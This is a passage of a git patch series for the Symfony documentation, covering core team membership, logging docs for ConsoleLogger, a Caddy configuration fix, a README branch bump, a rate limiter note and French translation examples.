[PATCH 608/615] Remove myself from active core members --- contributing/code/core_team.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 5f41ec0b4cf..1b1703e4f93 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -70,7 +70,6 @@ Active Core Members * **Alexander M. Turek** (`derrabus`_); * **Jérémy Derussé** (`jderusse`_); * **Oskar Stark** (`OskarStark`_); - * **Thomas Calvet** (`fancyweb`_); * **Mathieu Santostefano** (`welcomattic`_); * **Kevin Bond** (`kbond`_); * **Jérôme Tamarelle** (`gromnan`_). @@ -114,7 +113,8 @@ Symfony contributions: * **Tobias Schultze** (`Tobion`_); * **Maxime Steinhausser** (`ogizanagi`_); * **Titouan Galopin** (`tgalopin`_); -* **Michael Cullum** (`michaelcullum`_). +* **Michael Cullum** (`michaelcullum`_); +* **Thomas Calvet** (`fancyweb`_). Core Membership Application ~~~~~~~~~~~~~~~~~~~~~~~~~~~ From b9c7139364f16c941099891df800930c1dfd724f Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Sat, 18 Jan 2025 02:05:12 -0300 Subject: [PATCH 609/615] [Logging] Add references to the `ConsoleLogger` --- logging.rst | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/logging.rst b/logging.rst index c66312f88f9..0aabf9c7c5f 100644 --- a/logging.rst +++ b/logging.rst @@ -1,8 +1,10 @@ Logging ======= -Symfony comes with a minimalist `PSR-3`_ logger: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`. -In conformance with `the twelve-factor app methodology`_, it sends messages starting from the +Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` +for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the +CLI context. +In conformance with `the twelve-factor app methodology`_, they send messages starting from the ``WARNING`` level to `stderr`_. The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable: @@ -17,13 +19,18 @@ The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environm ========================= ================= The minimum log level, the default output and the log format can also be changed by -passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`. -To do so, :ref:`override the "logger" service definition <service-psr4-loader>`. +passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` +and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger`. + +The :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` class is available through the ``logger`` service. +To pass your configuration, you can :ref:`override the "logger" service definition <service-psr4-loader>`. + +For more information about ``ConsoleLogger``, see :doc:`/components/console/logger`. Logging a Message ----------------- -To log a message, inject the default logger in your controller or service:: +To log a message using the ``logger`` service, inject the default logger in your controller or service:: use Psr\Log\LoggerInterface; // ... @@ -55,7 +62,7 @@ Adding placeholders to log messages is recommended because: * It's better for security, because escaping can then be done by the implementation in a context-aware fashion. -The ``logger`` service has different methods for different logging levels/priorities. +The logger implementations has different methods for different logging levels/priorities. See `LoggerInterface`_ for a list of all of the methods on the logger. Monolog From fa4563353e498b9a6dc3ce20c3043f720fe1493e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 22 Jan 2025 10:29:43 +0100 Subject: [PATCH 610/615] Minor tweaks --- logging.rst | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/logging.rst b/logging.rst index 0aabf9c7c5f..0ad36031dd5 100644 --- a/logging.rst +++ b/logging.rst @@ -3,9 +3,8 @@ Logging Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the -CLI context. -In conformance with `the twelve-factor app methodology`_, they send messages starting from the -``WARNING`` level to `stderr`_. +CLI context. In conformance with `the twelve-factor app methodology`_, they send messages +starting from the ``WARNING`` level to `stderr`_. The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable: @@ -30,7 +29,7 @@ For more information about ``ConsoleLogger``, see :doc:`/components/console/logg Logging a Message ----------------- -To log a message using the ``logger`` service, inject the default logger in your controller or service:: +To log a message, inject the default logger in your controller or service:: use Psr\Log\LoggerInterface; // ... @@ -62,7 +61,7 @@ Adding placeholders to log messages is recommended because: * It's better for security, because escaping can then be done by the implementation in a context-aware fashion. -The logger implementations has different methods for different logging levels/priorities. +The ``logger`` service has different methods for different logging levels/priorities. See `LoggerInterface`_ for a list of all of the methods on the logger. Monolog From 75a197b4f99ac3e80357d884f477067888f79df3 Mon Sep 17 00:00:00 2001 From: Sarim Khan <sarim2005@gmail.com> Date: Thu, 23 Jan 2025 00:24:18 +0600 Subject: [PATCH 611/615] Caddy configuration don't allow sub-directory php files to execute. Fixes #20593 --- setup/web_server_configuration.rst | 3 +++ 1 file changed, 3 insertions(+) diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index acd76c342b9..e5e06a89feb 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -207,6 +207,9 @@ When using Caddy on the server, you can use a configuration like this: # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP) php_fastcgi unix//var/run/php/php8.3-fpm.sock { + # only fallback to root index.php aka front controller. + try_files {path} index.php + # optionally set the value of the environment variables used in the application # env APP_ENV "prod" # env APP_SECRET "<app-secret-id>" From 698c0e74c09b10fd032e26133546b31f9e0aab9b Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Wed, 22 Jan 2025 18:51:24 -0300 Subject: [PATCH 612/615] Bump lowest maintained version to 6.4 --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ed323a8ee83..5c063058c02 100644 --- a/README.md +++ b/README.md @@ -27,8 +27,8 @@ We love contributors! For more information on how you can contribute, please rea the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html). > [!IMPORTANT] -> Use `5.4` branch as the base of your pull requests, unless you are documenting a -> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1). +> Use `6.4` branch as the base of your pull requests, unless you are documenting a +> feature that was introduced *after* Symfony 6.4 (e.g. in Symfony 7.2). Build Documentation Locally --------------------------- From aabca8e1d3d8b604ecd05a4e6532774369d02a40 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr> Date: Wed, 22 Jan 2025 15:57:04 +0100 Subject: [PATCH 613/615] [RateLimiter] [Rate Limiter] Mention the Caddy/FrankenPHP rate limit module --- rate_limiter.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/rate_limiter.rst b/rate_limiter.rst index 970d71c8784..a53f679f1c8 100644 --- a/rate_limiter.rst +++ b/rate_limiter.rst @@ -16,8 +16,9 @@ time, but you can use them for your own features too. By definition, the Symfony rate limiters require Symfony to be booted in a PHP process. This makes them not useful to protect against `DoS attacks`_. Such protections must consume the least resources possible. Consider - using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like - AWS or Cloudflare) to prevent your server from being overwhelmed. + using `Apache mod_ratelimit`_, `NGINX rate limiting`_, + `Caddy HTTP rate limit module`_ (also supported by FrankenPHP) + or proxies (like AWS or Cloudflare) to prevent your server from being overwhelmed. .. _rate-limiter-policies: @@ -543,6 +544,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/ +.. _`Caddy HTTP rate limit module`: https://github.com/mholt/caddy-ratelimit .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition From cc4f5c511945a46b5c152b7f236cbcbe3ece2356 Mon Sep 17 00:00:00 2001 From: Nassim LOUNADI <39556046+nassimlnd@users.noreply.github.com> Date: Wed, 15 Jan 2025 16:29:46 +0100 Subject: [PATCH 614/615] Update translations --- translation.rst | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/translation.rst b/translation.rst index ed44b6d4912..98b90949b6a 100644 --- a/translation.rst +++ b/translation.rst @@ -145,7 +145,7 @@ different formats: .. code-block:: yaml # translations/messages.fr.yaml - Symfony is great: J'aime Symfony + Symfony is great: Symfony est génial .. code-block:: xml @@ -156,7 +156,7 @@ different formats: <body> <trans-unit id="symfony_is_great"> <source>Symfony is great</source> - <target>J'aime Symfony</target> + <target>Symfony est génial</target> </trans-unit> </body> </file> @@ -166,14 +166,14 @@ different formats: // translations/messages.fr.php return [ - 'Symfony is great' => "J'aime Symfony", + 'Symfony is great' => 'Symfony est génial', ]; You can find more information on where these files :ref:`should be located <translation-resource-locations>`. Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``), -the message will be translated into ``J'aime Symfony``. You can also translate +the message will be translated into ``Symfony est génial``. You can also translate the message inside your :ref:`templates <translation-in-templates>`. .. _translation-real-vs-keyword-messages: @@ -1219,7 +1219,7 @@ for the ``fr`` locale: <body> <trans-unit id="1"> <source>Symfony is great</source> - <target>J'aime Symfony</target> + <target>Symfony est génial</target> </trans-unit> </body> </file> @@ -1228,13 +1228,13 @@ for the ``fr`` locale: .. code-block:: yaml # translations/messages.fr.yaml - Symfony is great: J'aime Symfony + Symfony is great: Symfony est génial .. code-block:: php // translations/messages.fr.php return [ - 'Symfony is great' => 'J\'aime Symfony', + 'Symfony is great' => 'Symfony est génial', ]; and for the ``en`` locale: @@ -1277,7 +1277,7 @@ To inspect all messages in the ``fr`` locale for the application, run: --------- ------------------ ---------------------- ------------------------------- State Id Message Preview (fr) Fallback Message Preview (en) --------- ------------------ ---------------------- ------------------------------- - unused Symfony is great J'aime Symfony Symfony is great + unused Symfony is great Symfony est génial Symfony is great --------- ------------------ ---------------------- ------------------------------- It shows you a table with the result when translating the message in the ``fr`` @@ -1297,7 +1297,7 @@ output: --------- ------------------ ---------------------- ------------------------------- State Id Message Preview (fr) Fallback Message Preview (en) --------- ------------------ ---------------------- ------------------------------- - Symfony is great J'aime Symfony Symfony is great + Symfony is great Symfony est génial Symfony is great --------- ------------------ ---------------------- ------------------------------- The state is empty which means the message is translated in the ``fr`` locale From 922fa713756b22cc71beab7b9571157275ddc46b Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 28 Jan 2025 08:57:41 +0100 Subject: [PATCH 615/615] fix typo --- setup/web_server_configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index e5e06a89feb..58935bf5352 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -207,7 +207,7 @@ When using Caddy on the server, you can use a configuration like this: # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP) php_fastcgi unix//var/run/php/php8.3-fpm.sock { - # only fallback to root index.php aka front controller. + # only fall back to root index.php aka front controller. try_files {path} index.php # optionally set the value of the environment variables used in the application